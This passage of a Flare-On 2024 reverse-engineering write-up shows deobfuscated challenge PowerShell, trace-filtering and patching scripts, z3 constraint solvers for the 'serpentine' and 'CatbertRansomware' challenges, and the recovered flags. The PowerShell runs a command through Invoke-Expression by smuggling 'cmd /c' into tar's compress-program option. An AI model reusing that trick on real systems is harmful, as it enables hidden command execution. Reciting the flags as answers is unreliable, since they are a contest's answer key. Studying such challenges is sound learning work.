Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))
Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))
Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))
# Format each byte as two-digit hex with uppercase letters
Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object { '{0:X2}' -f $_ })
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
#Write-Output $hexString
Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {
        Set-Variable -Name startIndex -Value ($_ * 2)
        Set-Variable -Name endIndex -Value ($startIndex + 1)
        [Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
    })
Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))
# Convert the key to bytes
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform the XOR operation
Set-Variable -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {
    Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]))
}
# Convert the result back to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))
Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")
Invoke-Expression $command

Testnet BSCScan result

CyberChef (FLAREON24 -> 0F 0A 0E 24)

N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com

9 - serpentine

A good career for you would be a sort of cyber Indiana Jones. Imagine a lone figure, a digital explorer, ventures into the depths of the bit forest, a sprawling, tangled expanse of code and data. The air crackles with unseen energy, and the path ahead twists and turns like a serpent’s coil. At the heart of this forest lies the serpent’s sanctum, a fortress of encrypted secrets. Your mission is to infiltrate the sanctum, navigate its defenses, and retrieve the hidden flag. Sounds way cooler than sitting at your desk typing things nobody cares about into a keyboard. 7zip archive password: flare

Trap-based SMC and control flow obfuscation. Requires labor to extract all constraints from tracing. I would like to know whether an automated solution is possible.

References: RtlInstallFunctionTableCallback function (winnt.h) - Win32 apps; x64 exception handling

This challenge is solved by firstly patching all re-obfuscation code to nops, then patching all equality checking cmovnzs to cmovz so that we can get a full trace of all equations. Patching is done with 010 Editor.

cmovnz R1, R2
jmp R1
Regex: ([\x40-\x4f])\x0f\x45(.[\x40-\x4f]?\xff.?)
    ->
cmovz R1, R2
jmp R1
Replaced with: $1\x0f\x44$2

The following script is used to filter relevant rows from a sea of tracing outputs by IDA.

import re

from tqdm import tqdm

RE_LINE = re.compile(
    r"^[0-9A-F]+**\t**Stack**\[**[0-9A-F]+**\]**:(?:unk_|dword_|[0-9A-F]+)[0-9A-F]{7}**\t**(.+)$"
)
RE_ADDR = re.compile(r"00000001400[0-9A-F]{5}")

OP_TABLES: dict[str, list[int]] = {}

with open("serpentine/tables.py", "rt") as f:
    exec(f.read())

def get_op_table_name(addr: int):
    for name, table in OP_TABLES.items():
        if any((start <= addr < start + 256 for start in table)):
            return name
    return ""

def check_heuristics(line: str):
    POS_NEEDLES = (
        "add",
        "sub",
        "xor",
        "mul",
        "or",
        "and",
        "movzx",
        "=00000000000000",
        "shl",
        "cmov",
        "test",
    )
    NEG_NEEDLES = (
        "jmp",
        "call",
        "ret",
        "hlt",
        "xchg",
        "push",
        "pop",
        "dword ptr",
        "rax, 0",
        ".text",
    )
    POS_KEYWORDS = ("Stack",)
    POS_KEYWORDS_STRONG = ("mul",)
    return any((n in line for n in POS_KEYWORDS_STRONG)) or (
        all((n in line for n in POS_KEYWORDS))
        and any((n in line for n in POS_NEEDLES))
        and not any((n in line for n in NEG_NEEDLES))
    )

lines: list[str] = []
with open("serpentine/serpentine.patched.1.exe.trace.1.txt", "rt") as f:
    for l in tqdm(f):
        if check_heuristics(l):
            match re.match(RE_LINE, l):
                case None:
                    print(l)
                    exit(1)
                    continue
                case m:
                    l = m.group(1).strip()
            match re.search(RE_ADDR, l):
                case None:
                    addr = 0
                case m:
                    addr = int(m.group(0), 16)
            addr_type = get_op_table_name(addr).ljust(6)
            if "cmov" in l:
                lines.append(f"++\t{addr_type}\t{l}")
            elif "or " in l and "xor" not in l:
                lines.append(f"^ \t{addr_type}\t{l}")
            elif "mul"  in l:
                lines.append(f"* \t{addr_type}\t{l}")
            else:
                lines.append(f"  \t{addr_type}\t{l}")

with open("serpentine/filtered.txt", "wt") as f:
    for l in lines:
        f.write(l + "\n")

Running said script on an IDA trace will produce output like this:

...
  	      	mov     cs:dword_6C24D49, eax
  	      	mov     r11, 10ADD7F49h         	R11=000000010ADD7F49
  	      	add     qword ptr [rsp+18h], 35AC399Fh	AF=1
  	      	movzx   rdi, dil                	RDI=0000000000000065
  	      	mov     rax, [r8+0B0h]          	RAX=0000000000000065
  	      	add     r10, 47B805E5h          	R10=0000000000EF7A8C CF=1
* 	      	mul     qword ptr [rsp]         	RAX=000000005E7B593C RDX=0000000000000000 CF=0 PF=1
  	      	movzx   rbx, bl                 	RBX=000000000000003C
  	      	add     r14, 6BC64375h          	R14=00000001400962C0 PF=1 AF=1
  	addc  	add     r14, [r15+90h]          	R14=00000001400621FC AF=0
  	      	movzx   rsi, sil                	RSI=0000000000000000
  	      	shl     rsi, 8                  	ZF=1
  	      	add     [r15+0F0h], rsi         	ZF=0
  	      	add     rbx, 0C212EDDh          	RBX=0000000140095AC0 AF=1
  	      	mov     r11d, [rbx+34h]         	R11=000000000000003C
  	addr  	add     r11, [rbx+0E0h]         	R11=00000001400620FC
  	      	movzx   rbx, bl                 	RBX=0000000000000059
  	      	add     rsi, 2EE276C1h          	RSI=00000001400962C0 AF=1
  	addc  	add     rsi, [r14+90h]          	RSI=000000014004D219 PF=0 AF=0
  	      	movzx   rbp, bpl                	RBP=0000000000000000
  	      	shl     rbp, 10h                	PF=1 ZF=1
  	      	add     [r14+0B0h], rbp         	ZF=0
  	      	add     rbp, 58336C6Bh          	RBP=0000000140095AC0 AF=1
  	      	mov     eax, [r13+34h]          	RAX=0000000000000059
  	addr  	add     rax, [r13+0E0h]         	RAX=000000014004D119
  	      	mov     r14, 0FFh               	R14=00000000000000FF
  	      	shl     r14, 8                  	R14=000000000000FF00 PF=1
  	      	and     rbp, r14                	RBP=000000005E7B00C9
  	      	movzx   r14, r15b               	R14=00000000000000B6
  	      	shl     r14, 8                  	R14=000000000000B600
^ 	      	or      rbp, r14                	RBP=000000005E7BB6C9
  	      	movzx   r15, r15b               	R15=000000000000007B
  	      	add     rbp, 40267844h          	RBP=00000001400962C0 PF=1 AF=1
  	addc  	add     rbp, [r15+0F0h]         	RBP=000000014005F13B PF=0 AF=0
  	      	movzx   rcx, cl                 	RCX=0000000000000001
  	      	shl     rcx, 18h                	RCX=0000000001000000 PF=1
  	      	add     [r15+0B0h], rcx
  	      	add     r14, 31E11989h          	R14=0000000140095AC0 AF=1
  	      	mov     r10d, [rsi+34h]         	R10=000000000000007B
  	addr  	add     r10, [rsi+0E0h]         	R10=000000014005F03B PF=0
  	      	mov     r12b, [r10]             	R12=0000000000000001
  	      	mov     rbx, 0FFh               	RBX=00000000000000FF
  	      	shl     rbx, 10h                	RBX=0000000000FF0000 PF=1
  	      	and     rbp, rbx                	RBP=000000005F00B6C9
  	      	movzx   rbx, r12b               	RBX=0000000000000001
  	      	shl     rbx, 10h                	RBX=0000000000010000
^ 	      	or      rbp, rbx                	RBP=000000005F01B6C9
  	      	movzx   rbp, bpl                	RBP=000000000000005F
  	      	add     r11, 753F2AC9h          	R11=00000001400962C0 AF=1
  	addc  	add     r11, [rdx+0A0h]         	R11=000000014006921F PF=0 AF=0
  	      	movzx   rdi, dil
  	      	shl     rdi, 20h ; ' '          	PF=1 ZF=1
  	      	add     [rdx+0D8h], rdi         	ZF=0
  	      	add     qword ptr [rsp+20h], 26880FA6h	AF=1
  	      	mov     ecx, [r8+34h]           	RCX=000000000000005F
  	addr  	add     rcx, [r8+0B0h]          	RCX=000000014006911F
  	      	mov     r12, 0FFh               	R12=00000000000000FF
  	      	shl     r12, 18h                	R12=00000000FF000000 PF=1
  	      	and     r15, r12                	R15=000000000001B6C9
  	      	movzx   r12, r8b                	R12=00000000000000FC
  	      	shl     r12, 18h                	R12=00000000FC000000
^ 	      	or      r15, r12                	R15=00000000FC01B6C9
  	      	movzx   r13, r13b               	R13=0000000000000000
  	      	add     rsi, 43F75781h          	RSI=00000001400962C0 PF=1 AF=1
  	      	add     rsi, [rbp+0E0h]         	PF=0 AF=0
  	      	movzx   rbx, bl
  	      	shl     rbx, 28h ; '('          	PF=1 ZF=1
  	      	add     [rbp+0A8h], rbx         	ZF=0
  	      	add     rsi, 7C0510D2h          	RSI=0000000140095AC0 AF=1
  	addr  	add     r14, [r8+0E0h]          	R14=00000001400247C0
  	      	mov     rcx, 0FFh               	RCX=00000000000000FF
  	      	shl     rcx, 20h ; ' '          	RCX=000000FF00000000
  	      	and     r13, rcx
  	      	movzx   rcx, r12b               	RCX=0000000000000000
  	      	shl     rcx, 20h ; ' '          	ZF=1
^ 	      	or      r13, rcx                	ZF=0
  	      	movzx   r15, r15b               	R15=0000000000000000
  	      	add     rax, 2E858FBh           	RAX=00000001400962C0 AF=1
  	      	add     rax, [rdi+0F0h]         	PF=0 AF=0
  	      	movzx   r10, r10b
  	      	shl     r10, 38h ; '8'          	PF=1 ZF=1
  	      	add     [rdi+0A8h], r10         	ZF=0
  	      	add     qword ptr [rsp+20h], 10A577B5h	AF=1
  	      	mov     ecx, [r8+34h]           	RCX=0000000000000000
  	addr  	add     rcx, [r8+0B0h]          	RCX=00000001400247C0 PF=1
  	      	mov     rbp, 0FFh               	RBP=00000000000000FF
  	      	shl     rbp, 30h ; '0'          	RBP=00FF000000000000
  	      	and     r15, rbp
  	      	movzx   rbp, r14b               	RBP=0000000000000000
  	      	shl     rbp, 30h ; '0'          	ZF=1
^ 	      	or      r15, rbp                	ZF=0
  	      	add     r14, 16951716h          	R14=000000014089B8E8 PF=1
...

… which performs the following calculation with lots of table lookups:

v = var64("e") * const64(0x00EF7A8C)
v += const64(0x9D865D8D)

After extracting all these related rows, I use the next script to calculate the coefficients in the equation.

# param.py

import z3
from pwn import *

N_UNKNOWNS = 0
unknowns = []

def var64(v: int):
    assert chr(v) in "abcdefghijklmnopABCDEFGHIJKLMNOP"
    return z3.BitVecVal(v, 64)

def const64(idx: int):
    global N_UNKNOWNS
    global unknowns
    N_UNKNOWNS += 1
    u = z3.BitVec(f"c_{idx}", 64)
    unknowns.append(u)
    return u

solver = z3.Solver()

# TODO: Fill in actual instructions
PARAMS: list[tuple[str | None, tuple[int, int, str, int] | tuple[int]]] = [
    (None, (0x4E, 0x0000000000725059, "xor", 0x000000008A62E475)),
    ("add", (0x42, 0x00000000006DCFE7, "xor", 0x00000000C38E5A99)),
    ("add", (0x62, 0x00000000008F4C44, "xor", 0x000000009281FA24)),
    ("sub", (0x6A, 0x0000000000D2F4CE, "sub", 0xFFFFFFFFB4050F13)),
    ("xor", (0x6E, 0x0000000000E99D3F, "add", 0x00000000BD7B177B)),
    ("add", (0x66, 0x0000000000ADA536, "sub", 0x000000006D0A9056)),
    ("sub", (0x4A, 0x0000000000E0B352, "xor", 0x000000006FD6BA82)),
    ("add", (0x46, 0x00000000008675B6, "add", 0x00000000C93D7C59)),
    ("sub", (0x00000000A92411DB,)),
    ("or", (0x00000000A92411DB,)),
]

v = 0
for i, param in enumerate(PARAMS):
    op1 = param[0]
    match param[1]:
        case (ch, coeff, op2, val):
            pass
            ex = var64(ch) * coeff
            if op1 is None:
                v = ex
            elif op1 == "add":
                v += ex
            elif op1 == "sub":
                v -= ex
            elif op1 == "xor":
                v ^= ex
            elif op1 == "or":
                v |= ex
            elif op1 == "and":
                v &= ex
            else:
                error("Invalid op1")
                exit(1)
            if op2 == "add":
                v += const64(i)
            elif op2 == "sub":
                v -= const64(i)
            elif op2 == "xor":
                v ^= const64(i)
            elif op2 == "or":
                v |= const64(i)
            elif op2 == "and":
                v &= const64(i)
            else:
                error("Invalid op2")
                exit(1)
            solver.add(v == val)
        case (val,):
            if op1 == "add":
                v += const64(i)
            elif op1 == "sub":
                v -= const64(i)
            elif op1 == "xor":
                v ^= const64(i)
            elif op1 == "or":
                v |= const64(i)
            elif op1 == "and":
                v &= const64(i)
            else:
                error("Invalid op1")
                exit(1)
            solver.add(v == val)
        case _:
            error("Invalid param")
            exit(1)

if solver.check() != z3.sat:
    error("Unsat")
    exit(1)

result: list[int] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
    result[int(d.name()[2:])] = m[d].as_long()  # type: ignore

# for i in range(N_UNKNOWNS):
#    print(f"const64({i}): {hex(result[i])}")

for i, param in enumerate(PARAMS):
    op1 = param[0]
    const = f"const64({hex(result[i])})"
    match param[1]:
        case (ch, coeff, op2, val):
            pass
            ex = f"var64({hex(ch)}) * const64({hex(coeff)})"
            if op1 is None:
                print(f"v = {ex}")
            elif op1 == "add":
                print(f"v += {ex}")
            elif op1 == "sub":
                print(f"v -= {ex}")
            elif op1 == "xor":
                print(f"v ^= {ex}")
            elif op1 == "or":
                print(f"v |= {ex}")
            elif op1 == "and":
                print(f"v &= {ex}")
            else:
                error("Invalid op1")
                exit(1)
            if op2 == "add":
                print(f"v += {const}")
            elif op2 == "sub":
                print(f"v -= {const}")
            elif op2 == "xor":
                print(f"v ^= {const}")
            elif op2 == "or":
                print(f"v |= {const}")
            elif op2 == "and":
                print(f"v &= {const}")
            else:
                error("Invalid op2")
                exit(1)
        case (val,):
            if op1 == "add":
                print(f"v += {const}")
            elif op1 == "sub":
                print(f"v -= {const}")
            elif op1 == "xor":
                print(f"v ^= {const}")
            elif op1 == "or":
                print(f"v |= {const}")
            elif op1 == "and":
                print(f"v &= {const}")
            else:
                error("Invalid op1")
                exit(1)
            solver.add(v == val)
        case _:
            error("Invalid param")
            exit(1)
print("solver.add(v == 0)")

Then plug all these into a large solver to produce the flag.

# solve.py

import string

import z3
from pwn import *

INPUT_S = "abcdefghijklmnopABCDEFGHIJKLMNOP"

N_UNKNOWNS = len(INPUT_S)
UNK_WIDTH = 8
ALPHABET = string.ascii_letters + string.digits + string.punctuation

x = [z3.BitVec(f"x_{i}", UNK_WIDTH) for i in range(N_UNKNOWNS)]
bound = [False] * N_UNKNOWNS

def var64(ch: str | int):
    c = chr(ch) if isinstance(ch, int) else ch[0]
    idx = INPUT_S.index(c[0])
    bound[idx] = True
    return z3.Concat(z3.BitVecVal(0, 56), x[idx])

def const64(val: int):
    return z3.BitVecVal(val, 64)

solver = z3.Solver()

# group 1, 3, 4

v = var64("e") * const64(0x00EF7A8C)
v += const64(0x9D865D8D)
v -= var64("I") * const64(0x0045B53C)
v += const64(0x18BAEE57)
v -= var64("a") * const64(0x00E4CF8B)
v -= const64(0x913FBBDE)
v -= var64("i") * const64(0x00F5C990)
v += const64(0x6BFAA656)
v ^= var64("E") * const64(0x00733178)
v ^= const64(0x61E3DB3B)
v ^= var64("A") * const64(0x009A17B8)
v -= const64(0xCA2804B1)
v ^= var64("m") * const64(0x00773850)
v ^= const64(0x5A6F68BE)
v ^= var64("M") * const64(0x00E21D3D)
v ^= const64(0x5C911D23)
v -= const64(0xFFFFFFFF81647A79)
v |= const64(0x00000000)
solver.add(v == 0)

... # Many constraints snipped for brevity; 64 groups in total

v = var64(0x42) * const64(0x87184C)
v -= const64(0x72A15AD8)
v ^= var64(0x4A) * const64(0xF6372E)
v += const64(0x16AD4F89)
v -= var64(0x46) * const64(0xD7355C)
v -= const64(0xBB20FE35)
v ^= var64(0x66) * const64(0x471DC1)
v ^= const64(0x572C95F4)
v -= var64(0x62) * const64(0x8C4D98)
v -= const64(0x94650C74)
v -= var64(0x6E) * const64(0x5CEEA1)
v ^= const64(0xF703DCC1)
v -= var64(0x4E) * const64(0xEB0863)
v += const64(0xAD3BC09D)
v ^= var64(0x6A) * const64(0xB6227F)
v -= const64(0x46AE6A17)
v -= const64(0xFFFFFFFF315E8118)
v |= const64(0x0)
solver.add(v == 0)

if solver.check() != z3.sat:
    error("Unsat")
    exit(1)

result: list[int] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
    result[int(d.name()[2:])] = m[d].as_long()  # type: ignore

solution = "".join((chr(x) if bound[i] else INPUT_S[i] for i, x in enumerate(result)))
marker = "".join(("^" if bound[i] else " " for i in range(N_UNKNOWNS)))

print(solution)
print(marker)

serpentine result

$$_4lway5_k3ep_mov1ng_and_m0ving@flare-on.com

10 - CatbertRansomware

A dire situation has arisen, yet again, at FLARE HQ. One of our employees has fallen victim to a ransomware attack, and the culprit is none other than the notorious Catbert, our malevolent HR manager. Catbert has encrypted the employee’s disk, leaving behind a cryptic message and a seemingly innocent decryption utility. However, this utility is not as straightforward as it seems. It’s deeply embedded within the firmware and requires a keen eye and technical prowess to extract. The employee’s most valuable files are at stake, and time is of the essence. Please, help us out one…. last… time. 7zip archive password: flare

This handout could be run with QEMU as follows:

$ qemu-system-x86_64 -L . --bios ./bios.bin ./disk.img

We can see that this challenge is based on tianocore/edk2 UEFI project. Finding modified binaries (e.g. Shell.exe) is relatively easy.

The encrypted .c4tb (which I guess means “Catbert”) contains metadata, encrypted bytes, and a piece of custom VM code to verify if a key is legit. I wrote a Binary Ninja plugin for viewing .c4tb files, and it is open sourced at http://github.com/CSharperMantle/binja_arch_catbert. The disassembly and graphs work, yet the lifting has some curious glitches: Binja fails to resolve stack pointers even when precursing basic blocks has a balanced stack. Any explanations is welcomed in both said repo and the commenting area below.

UEFI symbol recovery -> VM reverse engineering -> symbolic constraints solving

UINT32 __fastcall func_crc32_mpeg2()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  p = g_buf_input_char;
  result = 0xFFFFFFFF;
  i = 16;
  do
  {
    v3 = *p++;
    result = LOOKUP_CRC32MPEG2[v3 ^ ((unsigned __int64)result >> 24)] ^ (result << 8);
    --i;
  }
  while ( i );
  return result;
}

int __fastcall handler_decrypt_file(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  ...
  // Open, allocate and read file parts: metadata, ciphertext, VM bytecode
  ...
  v17 = (unsigned int *)g_buf_file;
  file_magic = *(_DWORD *)g_buf_file;
  g_file_info->magic = *(_DWORD *)g_buf_file;
  if ( file_magic != 0x42543443 )
  {
    ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 64i64);
    my_printf(-1, -1, L"Oh, you thought you could just waltz in here and decrypt ANY file, did you?\r\n");
    my_printf(-1, -1, L"Newsflash: Only .c4tb encrypted JPEGs are worthy of my decryption powers.\r\n");
    ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 71i64);
    goto LABEL_9;
  }
  file_u32_0x4 = v17[1];
  v16->len0 = file_u32_0x4;
  file_u32_0x8 = v17[2];
  v16->off_vm_code = file_u32_0x8;
  v16->len_vm_code = v17[3];
  // More copies...
  ...
  // Insert user input into VM code
  g_file_vm_code[5] = *(_BYTE *)g_buf_input_wchar;
  v29[4] = v28[2];
  v29[0xC] = v28[4];
  v29[0xB] = v28[6];
  v29[0x13] = v28[8];
  v29[0x12] = v28[10];
  v29[0x1A] = v28[12];
  v29[0x19] = v28[14];
  v29[0x21] = v28[16];
  v29[0x20] = v28[18];
  v29[0x28] = v28[20];
  v29[0x27] = v28[22];
  v29[0x2F] = v28[24];
  v29[0x2E] = v28[26];
  v29[0x36] = v28[28];
  v29[0x35] = v28[30];
  func_run_vm();
  if ( !g_vm_state.okay )
  {
LABEL_72:
    sub_31B14();
    goto LABEL_9;
  }
  g_filename_1 = (CHAR16 *)AllocateReservedPool(v30, 0x208ui64);
  if ( !g_filename_1 )
    goto LABEL_74;
  g_buf_input_char = (unsigned __int8 *)AllocateReservedPool(v31, 0x104ui64);
  if ( !g_buf_input_char )
    goto LABEL_74;
  func_input_wchar_2_char();
  StrCpyS(g_filename_1, 0x104ui64, g_filename);
  v32 = StrStr(g_filename_1, L".c4tb");
  if ( v32 )
    *v32 = 0;
  input_hash = func_crc32_mpeg2();
  if ( input_hash == 0x8AE981A5 )
  {
    ZeroPool = AllocateZeroPool(0x100ui64);
    g_buf_0x8ae981a5 = ZeroPool;
    goto LABEL_44;
  }
  if ( input_hash == 0x92918788 )
  {
    ZeroPool = AllocateZeroPool(0x100ui64);
    g_buf_0x92918788 = ZeroPool;
    goto LABEL_44;
  }
  if ( input_hash != 0x80076040 )
  {
LABEL_46:
    sub_31A54();
    v35 = g_file_info;
    func_rc4(
      g_buf_input_char,
      v36,
      (unsigned __int8 *)g_file_info->buf0,
      g_file_info->len0,
      (unsigned __int8 *)g_file_info->buf0);
    buf0 = v35->buf0;
    if ( buf0[6] != 'J' || buf0[7] != 'F' || buf0[8] != 'I' || buf0[9] != 'F' )
    {
      my_printf(-1, -1, L"is that what you think you're doing? Trying to crack something?\r\n");
      my_printf(-1, -1, L"Well, let me tell you, you're wasting your time.\r\n");
      goto LABEL_9;
    }
    len0 = v35->len0;
    v2 = ShellOpenFileByName(g_filename_1, &g_handle_file, 0x8000000000000003ui64, 0i64);
    if ( v2 < 0 )
      return v2;
    v2 = FileFunctionMap.WriteFile(g_handle_file, &len0, g_file_info->buf0);
    if ( v2 < 0 )
      return v2;
    ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 79i64);
    my_printf(-1, -1, L"0x%x bytes successfully written to %s.\r\n", g_file_info->len0, g_filename_1);
    ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 71i64);
    v2 = FileFunctionMap.CloseFile(g_handle_file);
    if ( v2 < 0 )
      return v2;
    v2 = FileFunctionMap.DeleteFile(g_file_handle);
    LODWORD(v4) = v2;
    if ( v2 < 0 )
      return v2;
    if ( g_buf_0x8ae981a5 && g_buf_0x92918788 && g_buf_0x80076040 && !byte_E8590 )
    {
      ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 64i64);
      my_printf(-1, -1, L"Oh, you think you're so smart, huh? Decrypting JPEGs? Big deal.\r\n");
      my_printf(-1, -1, L"As a special favor, I'll let you enjoy the thrill of watching me\r\n");
      my_printf(-1, -1, L"decrypt the UEFI driver. Consider yourself lucky.\r\n");
      ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 71i64);
      // Decrypt DilbootApp.efi.enc
      ...
    }
    ...
LABEL_22:
    ...
  }
  ...
}

The input key for each .c4tb file need to satisfy both a VM-based check and a CRC32-MPEG2 digest.

The first meme uses a simple invertible transformation on some locations of input.

# solve_meme1.py

import typing as ty

def rol(x: int, n: int, width: int):
    return ((x << n) | (x >> (width - n))) & ((1 << width) - 1)

def ror(x: int, n: int, width: int):
    return ((x >> n) | (x << (width - n))) & ((1 << width) - 1)

CIPHER = b"Da4ubicle1ifeb0b"

MANGLER: dict[int, ty.Callable[[int], int]] = {
    2: lambda x: rol(x, 4, 8),
    9: lambda x: ror(x, 2, 8),
    0xD: lambda x: rol(x, 7, 8),
    0xF: lambda x: rol(x, 7, 8),
}

plaintext = bytes((MANGLER[i](c) if i in MANGLER else c for i, c in enumerate(CIPHER)))
print(plaintext)

# Da4ubicle1ifeb0b -> DaCubicleLife101

The second meme uses an OTP generated by a PRNG to encrypt the content.

# solve_meme2.py
def gen_keystream():
    var_1b = 0x80000000
    var_1c = 0x343FD
    var_1d = 0x269ec3
    var_1e = 0x1337
    i = 0
    while True:
        var_1e = (var_1e * var_1c + var_1d) % var_1b
        yield (var_1e >> ((i % 4) * 8)) & 0xff
        i += 1

CIPHER = b"Y\xa0Mj#\xde\xc0$\xe2d\xb1Y\x07r\\\x7f"

plaintext = bytes(c ^ k for c, k in zip(CIPHER, gen_keystream()))
print(plaintext)

# Y\xa0Mj#\xde\xc0$\xe2d\xb1Y\x07r\\\x7f -> G3tDaJ0bD0neM4te

The third meme uses three checksums, the last one of which is a Fowler–Noll–Vo hash. Despite its cryptographic weaknesses, we need a constrained solution rather than a collision, which rendered directly solving this FNV highly infeasible. Luckily, the CRC32-MPEG2 is still a applicable constraint. Identifying its polynomial and finding a non-lookup implementation took some time.

# solve_meme3.py

import typing as ty

import z3
import string

def crc32mpeg2(data: ty.Iterable[z3.BitVecRef]):
    assert all(di.size() == 8 for di in data)

    POLY = 0x04C11DB7
    crc = z3.BitVecVal(0xFFFFFFFF, 32)
    for byte in data:
        crc = crc ^ (z3.Concat(z3.BitVecVal(0, 24), byte) << 24)
        for _ in range(8):
            msb = z3.Extract(31, 31, crc)
            crc = crc << 1
            crc = z3.If(
                msb == 1,
                crc ^ POLY,
                crc,
            )
            crc = crc & 0xFFFFFFFF
    return crc

N_UNKNOWNS = 16
UNK_WIDTH = 8

x = [z3.BitVec(f"x_{i}", UNK_WIDTH) for i in range(N_UNKNOWNS)]

solver = z3.Solver()

var_13 = 0x1505
var_1b = 0
var_1e = 0xFFFF
var_1d = 0xFFFF
var_1e = (var_1e << 0x10) | var_1d
while var_1b < 4:
    var_1c = z3.Concat(z3.BitVecVal(0, 56), x[var_1b])
    var_1d = var_13
    var_13 = (var_13 << 5) + var_1d + var_1c
    var_1b += 1
var_13 &= var_1e
solver.add(var_13 == 0x7C8DF4CB)

var_15 = z3.BitVecVal(0, 32)
while var_1b < 8:
    var_1c = z3.Concat(z3.BitVecVal(0, 56), x[var_1b])
    var_15 = z3.RotateRight(var_15, 0xD)
    var_15 += z3.Extract(31, 0, var_1c)
    var_1b += 1
var_15 &= var_1e
solver.add(var_15 == 0x8B681D82)

var_11 = 1
var_12 = var_17 = var_1b = 0
while var_1b < 8:
    var_1c = z3.Concat(z3.BitVecVal(0, 56), x[8 + var_1b])
    var_11 = (var_11 + var_1c) % 0xFFF1
    var_12 = (var_12 + var_11) % 0xFFF1
    var_1b += 1
var_17 = z3.Concat(z3.Extract(15, 0, var_12), z3.Extract(15, 0, var_11))
var_17 &= var_1e
solver.add(var_17 == 0x0F910374)

# FNV hash; do not try to solve it ;)
# var_a = 0x193
# var_b = 0x100
# var_c = (var_b << 0x10) | var_a
# var_d = 0x9DC5
# var_e = 0x811C
# var_f = (var_e << 0x10) | var_d
# var_10 = 0x1 << 0x20
# var_19 = var_f
# var_1b = 0
# 
# while var_1b < 0x10:
#     var_1c = z3.Concat(z3.BitVecVal(0, 56), x[var_1b])
#     var_1c = var_1c & 0xFF
#     var_19 = (var_19 * var_c) & (var_10 - 1)
#     var_19 = var_19 ^ var_1c
#     var_1b += 1
# var_19 &= var_1e
# solver.add(var_19 == 0x31F009D2)

solver.add(crc32mpeg2(x) == 0x80076040)

for xi in x:
    ex = z3.BoolVal(False)
    for ch in string.ascii_letters + string.digits:
        ex = z3.Or(ex, (xi == z3.BitVecVal(ord(ch), 8)))
    solver.add(ex == True)

print(solver)

while True:
    assert solver.check() == z3.sat
    result: list[ty.Any] = [0] * N_UNKNOWNS
    m = solver.model()
    for d in m.decls():
        result[int(d.name()[2:])] = m[d].as_long()  # type: ignore
    if any((chr(c) not in string.digits + string.ascii_letters for c in result)):
        print(f"Ignored: {bytes(result)}")
        ex = z3.BoolVal(True)
        for xi, c in zip(x, result):
            ex = z3.And(xi == c)
        solver.add(z3.Not(ex))
    else:
        print(bytes(result))
        break

# b"VerYDumBpassword"

Afterwards, the journey onwards was already paved properly.

catbert meme 1

catbert meme 2

catbert meme 3

catbert output 4

catbert final image

th3_ro4d_t0_succ3ss_1s_alw4ys_und3r_c0nstructi0n@flare-on.com